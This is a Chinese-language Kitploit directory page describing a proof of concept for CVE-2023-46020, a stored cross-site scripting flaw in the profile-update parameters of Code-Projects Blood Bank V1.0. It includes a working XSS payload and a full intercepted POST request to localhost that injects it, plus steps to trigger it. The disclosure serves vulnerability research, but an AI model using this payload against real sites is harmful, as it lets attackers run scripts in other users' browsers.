Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability — 存储型跨站脚本(XSS)漏洞的概念验证利用,针对 Code-Projects Blood Bank V1.0,通过未净化的个人资料参数实现,包含载荷注入与触发演示。 | Kitploit
工具/GitHubGitHub/ersinerenler/cve-2023-46020-code-projects-blood-bank-1.0-stored-cross-site-scripting-vulnerability
漏洞分析漏洞利用Web应用程序漏洞利用信息收集Web安全渗透测试
GitHubersinerenler/cve-2023-46020-code-projects-blood-bank-1.0-stored-cross-site-scripting-vulnerability

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability

存储型跨站脚本(XSS)漏洞的概念验证利用,针对 Code-Projects Blood Bank V1.0,通过未净化的个人资料参数实现,包含载荷注入与触发演示。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
352年前尚未审核
分享

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability

  • 漏洞作者:ersinerenler

厂商主页

  • https://code-projects.org/blood-bank-in-php-with-source-code

软件链接

  • https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

概述

  • Code-Projects Blood Bank V1.0 存在一个严重的安全漏洞,涉及通过 /updateprofile.php 文件中的多个参数(rename, remail, rphone, rcity)引起的存储型跨站脚本(XSS)。应用程序未能充分清理用户提供的数据,允许攻击者将恶意脚本注入应用程序。这可能导致在不知情用户的浏览器中执行任意脚本代码,从而可能危及受影响站点上下文中的用户安全和隐私。

漏洞详情

  • CVE ID: CVE-2023-46020
  • 受影响版本:Blood Bank V1.0
  • 受影响文件:updateprofile.php
  • 参数:rename, remail, rphone, rcity
  • 攻击类型:本地

参考资料:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46020
  • https://nvd.nist.gov/vuln/detail/CVE-2023-46020
  • 描述

    • Code-Projects Blood Bank V1.0 的 /file/updateprofile.php 文件中的参数 rename, remail, rphone, rcity 易受存储型跨站脚本(XSS)攻击。该漏洞是由于对用户提供的数据的输入验证和清理不足造成的。攻击者可以通过向这些参数注入恶意脚本来利用此弱点,这些脚本存储在服务器上,当其他用户查看受影响用户的个人资料时可能会被执行。

    概念验证(PoC):

    • 通过 Burp Suite 拦截对 updateprofile.php 的 POST 请求
    • 将有效载荷注入易受攻击的参数
    • 有效载荷:"><svg/onload=alert(document.domain)>
    • rname 参数的示例请求
    root@kitploit:~
    POST /bloodbank/file/updateprofile.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 103
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/bloodbank/rprofile.php?id=1
    Cookie: PHPSESSID=<some-cookie-value>
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    rname=test"><svg/onload=alert(document.domain)>&remail=test%40gmail.com&rpassword=test&rphone=8875643456&rcity=lucknow&bg=A%2B&update=Update
    
    • 转到个人资料页面并触发XSS
    image
    下载工具